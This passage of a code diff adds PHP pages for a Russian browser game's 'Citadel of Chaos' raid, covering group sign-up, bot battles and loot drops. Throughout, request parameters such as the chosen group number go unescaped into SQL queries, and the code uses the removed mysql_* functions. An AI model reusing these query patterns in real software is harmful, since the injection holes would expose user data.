<img style="position: absolute; bottom: 10px; left: 332px; cursor: pointer; width: 117px; height: 20px; border: 0px solid blue;" class="pngimg" src="i/forest/pointer_4.png" title="<?=$var_map['cell_'.($forest['room_id']+5)];?>" onclick="location.href='?move=true&Dir=Down';" />
<? } ?>
<? if($map_user['Up'] == 1) { ?>
<img style="position: absolute; bottom: 127px; left: 332px; cursor: pointer; width: 117px; height: 20px; border: 0px solid blue;" class="pngimg" src="i/forest/pointer_8.png" title="<?=$var_map['cell_'.($forest['room_id']-5)];?>" onclick="location.href='?move=true&Dir=Up';" />
<? } ?>
</div>
<? if($error != '') { echo '<center><b style=\'color: Red;\'>'.$error.'</b></center>'; } ?>
</div>
</body>
</html>

279
c_haos.php Normal file
View File

@ -0,0 +1,279 @@
<?php
session_start();
if (!($_SESSION['uid'] >0)) header("Location: index.php");
include "config.php";
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;"));
$in_haos = mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_status` WHERE `id` = '{$user['id']}' LIMIT 1;"));
$owntravma = mysql_fetch_array(mysql_query("SELECT * FROM `effects` WHERE `owner` = ".$user['id']." AND (type=13 OR type=12 OR type=14) limit 1;"));
$wait_msg="Ждем подтверждения от всей группы...";
function getPass($length = 6)
{
$chars = 'abcdefghijklmnopqrstyvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789';
$numChars = strlen($chars);
$string = '';
for ($i = 0; $i < $length; $i++) {
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}
if(!$in_haos)
{
mysql_query("INSERT INTO cit_haos_status(id) values('{$user['id']}');");
$in_haos=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_status` WHERE `id` = '{$user['id']}' LIMIT 1;"));
}
include "functions.php";
$pass_s=getPass(6);
if ($user['room'] != 600) { header("Location: main.php"); die(); }
if ($user['battle'] != 0) { header('location: fbattle.php'); die(); }
if ($_POST['pay'])
{
if(!$_POST['pay_gr']) $_POST['pay_gr']=1;
$group_num=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE `group` = '{$_POST['pay_gr']}';"));
$cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$_POST['pay_gr']."' LIMIT 1;"));
$gps=$_POST['gr_pass_in'.$_POST['pay_gr']];
if($gps)
$gps=str_replace(" ","",$gps);
if($group_num<4)
if($user['hp']>=(int)($user['maxhp']/3) && !$owntravma[0])
if($user['money']>=20)
if(
!preg_match('/[\/\:*?"<>|+%]/',$gps)&&
(
($gps==$cit_haos_pl['password'] && strlen($cit_haos_pl['password'])>1)||
(strlen($cit_haos_pl['players'])<3)
)
)
{
mysql_query("UPDATE `cit_haos_status` SET `status` = '1',`group` = '{$_POST['pay_gr']}' WHERE `id` ='{$user['id']}'; ");
mysql_query("UPDATE `users` set `money` = `money`- '20' WHERE id = '{$user['id']}';");
$cit_haos_gr=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_var`;"));
if($_POST['pay_gr']>$cit_haos_gr)
mysql_query("INSERT INTO `cit_haos_var`(`group`,`password`) values('".$_POST['pay_gr']."','".$pass_s."');");
$cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$_POST['pay_gr']."' LIMIT 1;"));
if(!in_array($user['id'],explode(";",$cit_haos_pl['players'])))
{
if($cit_haos_pl['players']!='')
$ch_pl_t=$cit_haos_pl['players'].";".$user['id'];
else
$ch_pl_t=$user['id'];
mysql_query("UPDATE `cit_haos_var` SET `players`='{$ch_pl_t}' WHERE `group`='".$_POST['pay_gr']."';");
}
}
else ($pass_in_err="Неверный пароль!");
else ($pay_err="Недостаточно денег для подачи стартового взноса!");
else ($pay_err="Вы слишком ослаблены либо травмированы! ");
else ($pay_err="Группа уже набрана!");
}
if ($_POST['adm_start_raid'] && $user['id']==1256)
{
mysql_query("DELETE FROM `cit_haos_status`;");
mysql_query("DELETE FROM `cit_haos_var`;");
AddChatSystem('<font color=red>Начинается прием заявок в рейд на Цитадель Хаоса! Начало рейда через 15 минут.</font>');
$ch_time=time();
mysql_query("UPDATE variables SET value='{$ch_time}' where var='cit_haos_time';");
}
if ($_POST['test_start_raid'] && $user['id']==1256)
{
mysql_query("DELETE FROM `cit_haos_status`;");
mysql_query("DELETE FROM `cit_haos_var`;");
// AddChatSystem('<font color=red>Начинается прием заявок в рейд на Цитадель Хаоса! Начало рейда через 15 минут.</font>');
$ch_time=time();
mysql_query("UPDATE variables SET value='{$ch_time}' where var='cit_haos_time';");
}
if ($in_haos['room'] != 0 && $in_haos['status'] == 2)
{
mysql_query("UPDATE `users`,`online` SET `users`.`room` = '601',`online`.`room` = '601' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;");
header('location: c_haos_in.php');
}
if ($in_haos['status'] == 2)
{
$group_num=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE `group` = '{$in_haos['group']}';"));
$group_ready=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE (`status` = '2' AND `group` = '{$in_haos['group']}');"));
if($group_num==$group_ready && $group_ready>0)
{
mysql_query("UPDATE `users`,`online` SET `users`.`room` = '601',`online`.`room` = '601' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;");
mysql_query("UPDATE `cit_haos_status` SET room='1' WHERE id = '{$user['id']}'; ");
header('location: c_haos_in.php');
};
}
$in_haos = mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_status` WHERE `id` = '{$user['id']}' LIMIT 1;"));
?>
<HTML><HEAD>
<!-- JS -->
<script>
function refreshPeriodic()
{
location.href='c_haos.php';//reload()
timerID=setTimeout("refreshPeriodic()",30000);
}
timerID=setTimeout("refreshPeriodic()",30000);
</script>
<link rel=stylesheet type="text/css" href="css/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<META Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<META Http-Equiv=Expires Content=0>
</HEAD>
<body leftmargin=5 topmargin=5 marginwidth=5 marginheight=5 bgcolor=#d4d4d4>
<TABLE border=0 width=600 cellspacing="0" cellpadding="0" align=left>
<tr><td><h3>Цитадель Хаоса</td></tr>
<?php
$tm=time();
$cit_haos_t=mysql_fetch_array(mysql_query("SELECT * FROM `variables` WHERE `var` = 'cit_haos_time' LIMIT 1;"));
if($tm<$cit_haos_t['value'] || $tm>($cit_haos_t['value']+900))//def 900
{
$tob_all=array();
mysql_query("DELETE FROM `cit_haos_var` WHERE CHAR_LENGTH(players)<3;");
if ($in_haos['status']==1)
{
$dbb=mysql_query("SELECT * FROM `cit_haos_var`;");
while($ch_tob=mysql_fetch_array($dbb))
if(!in_array($ch_tob['players'],$tob_all))
$tob_all = $tob_all.";".$ch_tob['players'];
foreach(explode(";",$tob_all) as $tob)
mysql_query("UPDATE `cit_haos_status` SET status='2' WHERE id = '{$tob}'; ");
//header('location: c_haos.php');
}
$tm=time();
$test_tm=time()+900;
$show_tm=$cit_haos_t['value']+0.5*24*60*60;
switch (date("N",$show_tm))
{
case 1:$d_o="в понедельник";break;
case 2:$d_o="во вторник";break;
case 3:$d_o="в среду";break;
case 4:$d_o="в четверг";break;
case 5:$d_o="в пятницу";break;
case 6:$d_o="в субботу";break;
case 7:$d_o="в воскресение";break;
}
if($tm<$cit_haos_t['value'])echo '<tr><td>Следующий рейд начнется <b>'.date("j.m </b> в <b> H:i</b>",$cit_haos_t['value']).'</td></tr>';
else echo '<tr><td>Готовьтесь! Следующий рейд будет <b>'.$d_o.'</td></tr>';
echo '<tr><td><FORM action="city.php" method=GET><INPUT TYPE="submit" value="Вернуться в Город" name="bps"></FORM></td></tr>';
if($user['id']==1256) echo '<tr><td><FORM action="c_haos.php" method=POST><INPUT TYPE="submit" value="Тест (Начать рейд)" name="test_start_raid"><br></FORM></td></tr>';
if($user['id']==1256) echo '<tr><td><FORM action="c_haos.php" method=POST><INPUT TYPE="submit" value="Админ - Начать рейд" name="adm_start_raid"><br></FORM></td></tr>';
}
elseif ($in_haos['status']==0)
{
$cit_haos_gr=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_var`;"));
if($cit_haos_gr==0)
{
$pass_s=getPass(6);
mysql_query("INSERT INTO `cit_haos_var`(`group`,`password`) values('1','{$pass_s}');");
$cit_haos_gr=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_var`;"));
}
echo '<tr><td>Рейд начинается <b>'.date("j.m </b> в <b> H:i</b>",$cit_haos_t['value']+900).'</td></tr>';
echo '<tr><td><FORM action="c_haos.php" method=POST>Взнос за участие в рейде <strong>20 кр</strong><br>';
echo '<tr><td><FORM action="c_haos.php" method=POST>Максимальный размер группы - <strong>4</strong> участника<br>';
echo '<tr><td>'.$pass_in_err.'<br />';
$check_em=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE `group`=1 ;"));
if($check_em<1)
{
$i=1;
echo('<INPUT TYPE="radio" value="'.$i.'" name="pay_gr">Группа '.$i.":");
$cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$i."' LIMIT 1;"));
if($cit_haos_pl['players']!='')
{
foreach(explode(";",$cit_haos_pl['players']) as $ch_p)
echo(nick3($ch_p).",");
echo('Пароль:<input type="text" size="10" NAME="gr_pass_in'.$i.'">');
}
else echo(' <em>(Создать новую группу)</em>');
echo '<BR />';
}
else
for($i=1;$i<=$cit_haos_gr+1;$i++)
{
echo('<INPUT TYPE="radio" value="'.$i.'" name="pay_gr">Группа '.$i.":");
$cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$i."' LIMIT 1;"));
if(strlen($cit_haos_pl['players'])>1)
{
foreach(explode(";",$cit_haos_pl['players']) as $ch_p)
echo(nick3($ch_p).",");
echo('Пароль:<input type="text" size="10" NAME="gr_pass_in'.$i.'">');
}
else echo(' <em>(Создать новую группу)</em>');
echo '<BR />';
}
echo '<INPUT TYPE="submit" value="Вступить" name="pay"></FORM>';
if($pay_err) echo ($pay_err);
echo '<tr><td><FORM action="city.php" method=GET><INPUT TYPE="submit" value="Вернуться в Город" name="bps"></FORM></td></tr>';
}
elseif ($in_haos['status']==1)
{
//echo '<tr><td><FORM action="c_haos.php" method=POST>Начать первый рейд: <INPUT TYPE="submit" value="Готов!" name="join_raid"></FORM></td></tr>';
$cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$in_haos['group']."' LIMIT 1;"));
echo '<tr><td>Рейд начинается <b>'.date("j.m </b> в <b> H:i</b>",$cit_haos_t['value']+900).'</td></tr>';
echo("<tr><td>Ждем начала рейда...<br /></td></tr>");
echo("<tr><td>Ваша группа ");
if($cit_haos_pl['password']!='')
echo(":: <strong>Пароль - [".$cit_haos_pl['password']."]</strong> <br />");
//else
//echo(" - <em>без пароля</em><br />");
if($pass_err) echo($pass_err."<br />");
$num=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE `group`='".$in_haos['group']."';"));
echo("<br /><b>".$num."</b> из <b>4</b>");
//if($num==1) echo (" - <strong>Группа не набрана</strong>");
/*else*/if($num==4) echo (" - <strong>Группа заполнена</strong>");
echo("<br />");
$cit_haos_pl=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$in_haos['group']."' LIMIT 1;"));
foreach(explode(";",$cit_haos_pl['players']) as $ch_p)
echo(nick3($ch_p)."<br />");
echo("</td></tr>");
}
elseif ($in_haos['status']==2)
{
echo '<tr><td>';
if($wait_msg) echo ($wait_msg);
echo'</td></tr>';
//echo '<tr><td><FORM action="c_haos.php" method=POST>Еще рейд: <INPUT TYPE="submit" value="Группа 1" name="join_raid"></FORM></td></tr>';
header('location: c_haos_in.php');
}
elseif ($in_haos['status']==4)
{
mysql_query("DELETE FROM `cit_haos_status` WHERE `id` ='{$user['id']}'; ");
echo '<tr><td><FORM action="city.php" method=GET><INPUT TYPE="submit" value="Вернуться в Город" name="bps"></FORM></td></tr>';
}
elseif ($in_haos['status']==5)
{
mysql_query("UPDATE users SET `doblest`=`doblest`+'1' WHERE `id` = '".$user['id']."';");
addchp ('За убийство босса ЦХ вы получили 1 доблести','{[]}'.nick7 ($user['id']).'{[]}');
mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`)
VALUES ('','0','{$cur_user['id']}','\"".$user['login']."\" получил в ЦХ 1 доблести',1,'".time()."');");
mysql_query("DELETE FROM `cit_haos_status` WHERE `id` ='{$user['id']}'; ");
header('location: c_haos.php');
/*echo '<tr><td><FORM action="c_haos.php" method=POST>Начать новый рейд: <INPUT TYPE="submit" value="Готов!" name="join_raid"></FORM></td></tr>';*/
}
?>
</table>
<div align=right><img width="260" src="i/zitadel/1.jpg" /></div>
<?php
?>
</BODY>
</HTML>

432
c_haos_in.php Normal file
View File

@ -0,0 +1,432 @@
<?php
session_start();
if (!($_SESSION['uid'] >0)) header("Location: index.php");
include "config.php";
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;"));
$in_haos = mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_status` WHERE `id` = '{$user['id']}' LIMIT 1;"));
include "functions.php";
$wait_msg="Ждем готовности всей группы...";
//rooms
$ch_rooms=array
(
// 0 - empty
"1"=>"Ворота (1)",
"2"=>"Двор (2)",
"3"=>"Внешний корридор (3)",
"4"=>"Спуск в подвал (4)",
"5"=>"Подвал (5)",//босс Душа
"6"=>"Люк на Западную стену (6)",
"7"=>"Западная стена (7)",
"8"=>"Галерея Страха (8)",
"9"=>"Западная башня (9)",
"10"=>"Галерея Смерти (10)",//босс Зомби
"11"=>"Проход к Северной стене (11)",
"12"=>"Галерея Тьмы (12)",
"13"=>"Северная стена (13)",
"14"=>"Галерея Бликов (14)",
"15"=>"Внутренний корридор (15)",//босс Повелитель
"16"=>"Гостевая (16)",
"17"=>"Руины Северной башни (17)",
"18"=>"Поминальная комната (18)",
"19"=>"Галерея Порталов (19)",
"20"=>"Зал Посвященных (20)",//босс Хромой Билли
"21"=>"Старая лестница (21)",
"22"=>"Трофейная (22)",
"23"=>"Костяной зал (23)",
"24"=>"Склеп (24)",
"25"=>"Лабиринт (25)",//босс Мародер
"26"=>"Тронный зал (26)",
"27"=>"Тайный корридор (27)",
"28"=>"Комната прислуги (28)",
"29"=>"Королевские покои (29)",
"30"=>"Переход (30)"//босс Грохобот
);
//bots
$ch_bots=array();
//1 - упырь
//2 - падший
//3 - душа
$db=mysql_fetch_array(mysql_query("SELECT * FROM `cit_haos_var` WHERE `group`='".$in_haos['group']."' limit 1; "));
if(!$db['bots'])
{
$bot_low=array
(
// 0 - empty
"1"=>"Упырь",
"2"=>"Посланник смерти",
"3"=>"Падший",
"4"=>"Отморозок",
"5"=>"Проклятие глубин"
);
for($i=1;$i<=30;$i++)
{
$ch_get_bot=rand(1,5);
$ch_bots[$i]=array("0"=>$bot_low[$ch_get_bot]);
}
$ch_bots[5]=array("0"=>"Душа");
$ch_bots[10]=array("0"=>"Зомби");
$ch_bots[15]=array("0"=>"Повелитель");
$ch_bots[20]=array("0"=>"Хромой Билли");
$ch_bots[25]=array("0"=>"Мародер");
$ch_bots[30]=array("0"=>"Грохобот");
$dbb=serialize($ch_bots);
mysql_query("UPDATE `cit_haos_var` SET bots='".$dbb."' WHERE `group`='".$in_haos['group']."'; ");
}
else
{
$ch_bots=unserialize($db['bots']);
}
// комната - опыт == доблесть
$ch_priz=array
(
"5" => array (100,1),
"10" => array (200,2),
"15" => array (300,3),
"20" => array (400,4),
"25" => array (500,5),
"30" => array (600,10)
);
// комната - кирка == уник_7 == цветок == уник_8
$ch_drop=array
(
"25" => array (10,60,95,100),
"30" => array (3,6,7,8),
);
$priz_low=
array("727");
$priz_med=
array("775","776","777","778");
$priz_flow=
array("14");
$priz_high=
array("803","804","805","806");
/*$ch_bots[1]=array
(
"0"=>"Младший страж глубин",
"1"=>"Младший страж глубин",
"2"=>"Босс глубин"
);
$ch_bots[2]=array
(
"0"=>"Младший страж глубин",
"1"=>"Босс глубин"
);*/
if ($user['room'] != 601) { header("Location: main.php"); die(); }
if ($user['battle'] != 0) { header('location: fbattle.php'); die(); }
if ($in_haos['status'] == 4)
{
mysql_query("UPDATE `users`,`online` SET `users`.`room` = '600',`online`.`room` = '600' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;");
mysql_query("UPDATE `cit_haos_status` SET room='0',bot='0',group='0' WHERE id = '{$user['id']}'; ");
header('location: c_haos.php');
}
if (!$ch_rooms[$in_haos['room']])
{
mysql_query("UPDATE `users`,`online` SET `users`.`room` = '600',`online`.`room` = '600' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '{$_SESSION['uid']}' ;");
if ($in_haos['status'] == 2)
{
mysql_query("UPDATE `cit_haos_status` SET room='0',status='5',bot='0' WHERE id = '{$user['id']}'; ");
addchp ('Вы пробились до двери на 2 уровень подземелий Цитадели Хаоса. Только опытный воин и храбрый страж сможет пройти через нее (10 уровень, страж 2 уровня)','{[]}'.nick7 ($user['id']).'{[]}');
}
mysql_query("UPDATE `cit_haos_var` SET bots='',players='' WHERE group='".$in_haos['group']."'; ");
header('location: c_haos.php');
}
?>
<HTML><HEAD>
<!-- JS -->
<script>
function refreshPeriodic()
{
location.href='c_haos_in.php';//reload()
timerID=setTimeout("refreshPeriodic()",30000);
}
timerID=setTimeout("refreshPeriodic()",30000);
</script>
<link rel=stylesheet type="text/css" href="css/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<META Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<META Http-Equiv=Expires Content=0>
</HEAD>
<body leftmargin=5 topmargin=5 marginwidth=5 marginheight=5 bgcolor=#d4d4d4>
<TABLE border=0 width=340 cellspacing="0" cellpadding="0" align=left>
<tr><td><h3>Цитадель Хаоса: <?= $ch_rooms[$in_haos['room']]?><br />
<br /></td></tr>
<!--tr><td><FORM action="city.php" method=GET><INPUT TYPE="submit" value="Вернуться в Город" name="bps"></FORM></td></tr-->
<?php
//attack
if($_POST['go_attack'])
{
if($in_haos['status'] == 2)
{
$bot_name=$ch_bots[$in_haos['room']][$in_haos['bot']];
switch ($bot_name)
{
case "Упырь":
//$bot_hp=200;
$bot_id=2897;
$bot_count=rand(10,30);
break;
case "Падший":
//$bot_hp=300;
$bot_id=2903;
$bot_count=rand(3,9);
break;
case "Посланник смерти":
//$bot_hp=700;
$bot_id=2896;
$bot_count=2;
break;
case "Отморозок":
//$bot_hp=500;
$bot_id=2893;
$bot_count=3;
break;
case "Проклятие глубин":
//$bot_hp=1000;
$bot_id=2892;
$bot_count=rand(1,5);
break;
case "Душа":
//$bot_hp=1000;
$bot_id=2895;
$bot_count=1;
break;
case "Зомби":
//$bot_hp=1000;
$bot_id=2901;
$bot_count=5;
break;
case "Повелитель":
//$bot_hp=2000;
$bot_id=2902;
$bot_count=1;
break;
case "Хромой Билли":
//$bot_hp=3000;
$bot_id=2898;
$bot_count=1;
break;
case "Мародер":
//$bot_hp=5000;
$bot_id=2899;
$bot_count=1;
break;
case "Грохобот":
//$bot_hp=10000;
$bot_id=2900;
$bot_count=1;
break;
};
$b_pers=mysql_fetch_array(mysql_query("SELECT * FROM users WHERE id='{$bot_id}' LIMIT 1;"));;
$bot_hp=$b_pers['maxhp'];
$bots=array();
$group_raw=mysql_query("SELECT * FROM `cit_haos_status` WHERE `group` = '{$in_haos['group']}' AND status='2';");
while ($gr = mysql_fetch_array($group_raw))
{
addchp ('<font color=red>Внимание!</font> '.$bot_name.' напал на Вашу группу!','{[]}'.nick7 ($gr['id']).'{[]}');
}
for($bot_c=0;$bot_c<$bot_count;$bot_c++)
{
$nb = mysql_fetch_array(mysql_query("SELECT count(`id`) FROM `bots` WHERE `name` LIKE '".$bot_name."%';"));
mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".$bot_name." ".($nb[0]+1)."','".$bot_id."','','".$bot_hp."');");
$bot = mysql_insert_id();
$bots[]=$bot;
}
// командный вход
$group_fight=array();
$group_raw=mysql_query("SELECT * FROM `cit_haos_status` WHERE `group` = '{$in_haos['group']}' AND status='2';");
while ($gr = mysql_fetch_array($group_raw))
$group_fight[]=$gr['id'];
{
$teams = array();
foreach($bots as $b)
foreach($group_fight as $gf)
{
$teams[$gf][$b] = array(0,0,time());
$teams[$b][$gf] = array(0,0,time());
mysql_query("UPDATE `cit_haos_status` SET `status` = '3' WHERE `id` ='{$gf}'; ");
}
mysql_query("INSERT INTO `battle`
(
`id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`
)
VALUES
(
NULL,'','".serialize($teams)."','3','1','0','".implode(";", $group_fight)."','".implode(";", $bots)."','".time()."','".time()."'
)");
$id = mysql_insert_id();
// апдейтим бота
foreach($bots as $b) mysql_query("UPDATE `bots` SET `battle` = {$id} WHERE `id` = {$b} LIMIT 1;");
// создаем лог
//$rr = "<b>".nick3($user['id'])."</b> и <b>".nick3($bot)."</b>";
//addlog($id,"Часы показывали <span class=date>".date("Y.m.d H.i")."</span>, когда ".$rr." сошлись в поединке. <BR>");
}
foreach($group_fight as $gf) mysql_query("UPDATE users SET `battle` ={$id},`zayavka`=0 WHERE `id`= {$gf};");
//}
die("<script>location.href='fbattle.php';</script>");
}
}
$group_num=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE `group` = '{$in_haos['group']}';"));
$group_ready=mysql_num_rows(mysql_query("SELECT * FROM `cit_haos_status` WHERE (`room` = '{$in_haos['room']}' AND `group` = '{$in_haos['group']}');"));
$cit_haos_t=mysql_fetch_array(mysql_query("SELECT * FROM `variables` WHERE `var` = 'cit_haos_time' LIMIT 1;"));
$tm=time();
if($in_haos['status'] == 2)
{if(($tm>($cit_haos_t['value']+960))||($tm<($cit_haos_t['value']-600)))//def 960
{
$flag_ref=1;
foreach($ch_bots[$in_haos['room']] as $bot_id=>$bot_name)
if($bot_id>=$in_haos['bot'])
{
echo '<tr><td><FORM action="c_haos_in.php" method=POST>';
if($bot_id==$in_haos['bot']) echo'<strong>'.$bot_name.'</strong>'; else echo($bot_name);
if($bot_id==$in_haos['bot']) echo' - <INPUT TYPE="submit" value="Напасть" name="go_attack">';
echo ' </FORM></td></tr>';
$flag_ref=0;
}
if (!array_key_exists($in_haos['bot'],$ch_bots[$in_haos['room']]))
{
echo($wait_msg);
//проверяем есть ли приз
if(array_key_exists($in_haos['room'],$ch_priz))
{
$priz_exp=$ch_priz[$in_haos['room']][0];
$priz_dobl=$ch_priz[$in_haos['room']][1];
}
else
{
$priz_exp=0;
$priz_dobl=0;
}
if(array_key_exists($in_haos['room'],$ch_drop))
{
$got_drop=rand(0,400);//100 - norm, 400 - 25%
}
else
{
$got_drop=-1;
}
//выбираем приз
if($in_haos['room']<30)
{
if($got_drop>=0 && $got_drop<$ch_drop[$in_haos['room']][0])
{
$rand_k = array_rand($priz_low, 1);
$p_id=$priz_low[$rand_k];
$p_shop="shop";
}
elseif($got_drop>=$ch_drop[$in_haos['room']][0] && $got_drop<$ch_drop[$in_haos['room']][1])
{
$rand_k = array_rand($priz_med, 1);
$p_id=$priz_med[$rand_k];
$p_shop="shop";
}
elseif($got_drop>=$ch_drop[$in_haos['room']][1] && $got_drop<$ch_drop[$in_haos['room']][2])
{
$rand_k = array_rand($priz_flow, 1);
$p_id=$priz_flow[$rand_k];
$p_shop="fshop";
}
elseif($got_drop>=$ch_drop[$in_haos['room']][2] && $got_drop<=$ch_drop[$in_haos['room']][3])
{
$rand_k = array_rand($priz_high, 1);
$p_id=$priz_high[$rand_k];
$p_shop="shop";
}
else
{};
}
elseif($in_haos['room']==30)
{
if($got_drop<=200)//400max/4=>50%
{
$priz_low=
array("808","809");
$rand_k = array_rand($priz_low, 1);
$p_id=$priz_low[$rand_k];
$p_shop="shop";
}
else
{}
}
else
{};
//выбираем получателя
$all_get=array();
$gr_raw=mysql_query("SELECT * FROM `cit_haos_status` WHERE `group` = '{$in_haos['group']}';");
while($g_id=mysql_fetch_array($gr_raw))
$all_get[]=$g_id['id'];
$l_id=rand(0,count($all_get)-1);
//$all_get[$l_id];
//if($priz_exp>0) addchp ('CH get priz - '.$all_get[$l_id],'{[]}'.nick7 (1258).'{[]}');
//даем призы
if($p_id>0)
{
$dress = mysql_fetch_array(mysql_query("SELECT * FROM `{$p_shop}` WHERE `id` = '{$p_id}' LIMIT 1;"));
mysql_query("INSERT INTO `inventory`
(`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`,
`gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`,
`mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`duration`,`present`
)
VALUES
('{$dress['id']}','{$all_get[$l_id]}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['cost']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}',
'{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron3']}','{$dress['bron2']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['gmp']}','{$dress['gmeshok']}','{$dress['encicl']}','{$dress['artefact']}','{$dur}','Мусорщик'
) ;");
mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','$all_get[$l_id]','\"".$user['login']."\" получил в ЦХ предмет: \"".$dress['name']."\" ".$dresscount."id:(".$dressid.") [0/".$dress['maxdur']."]',1,'".time()."');");
addchp ('За убийство босса Цитадели Хаоса вы получили '.$dress['name'],'{[]}'.nick7 ($all_get[$l_id]).'{[]}');
}
if($priz_exp>0)
{
GiveExp($all_get[$l_id],$priz_exp);
addchp ('За убийство босса Цитадели Хаоса вы получили '.$priz_exp.' опыта','{[]}'.nick7 ($all_get[$l_id]).'{[]}');
mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`)
VALUES ('','0','{$cur_user['id']}','\"".$all_get[$l_id]."\" получил в ЦХ \"".$priz_exp."\" опыта',1,'".time()."');");
}
if($priz_dobl>0)
{
mysql_query("UPDATE users SET `doblest`=`doblest`+'".$priz_dobl."' WHERE `id` = '".$all_get[$l_id]."';");
addchp ('За убийство босса Цитадели Хаоса вы получили '.$priz_dobl.' доблести','{[]}'.nick7 ($all_get[$l_id]).'{[]}');
mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`)
VALUES ('','0','{$cur_user['id']}','\"".$all_get[$l_id]."\" получил в ЦХ \"".$priz_dobl."\" доблести',1,'".time()."');");
}
mysql_query("UPDATE `cit_haos_status` SET `room` = `room`+1,`bot`=0 WHERE `group` = '{$in_haos['group']}'; ");
if (!headers_sent()) header('location: c_haos_in.php');
}
if($flag_ref==0 && !headers_sent()) header('location: c_haos_in.php');
}
else
{
echo("<TR><TD>Ждем готовности группы... Приготовьтесь!</TR></TD>");
echo '<tr><td><FORM action="c_haos_in.php" method=POST><INPUT TYPE="submit" value="Обновить" name="refresh">';
echo ' </FORM></td></tr>';
}
}
?>
</table>
<?php
echo('<div align=right><img width="260" src="i/zitadel/'.($in_haos['room']+1).'.jpg" /></div>');
?>
</BODY>
</HTML>

249
c_park.php Normal file
View File

@ -0,0 +1,249 @@
<?php
session_start();
if (!($_SESSION['uid'] >0)) header("Location: index.php");
include "config.php";
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;"));
$in_park = mysql_fetch_array(mysql_query("SELECT * FROM `cit_park` WHERE `id` = '{$user['id']}' LIMIT 1;"));
$owntravma = mysql_fetch_array(mysql_query("SELECT * FROM `effects` WHERE `owner` = ".$user['id']." AND (type=13 OR type=12 OR type=14) limit 1;"));
if(!$in_park)
{
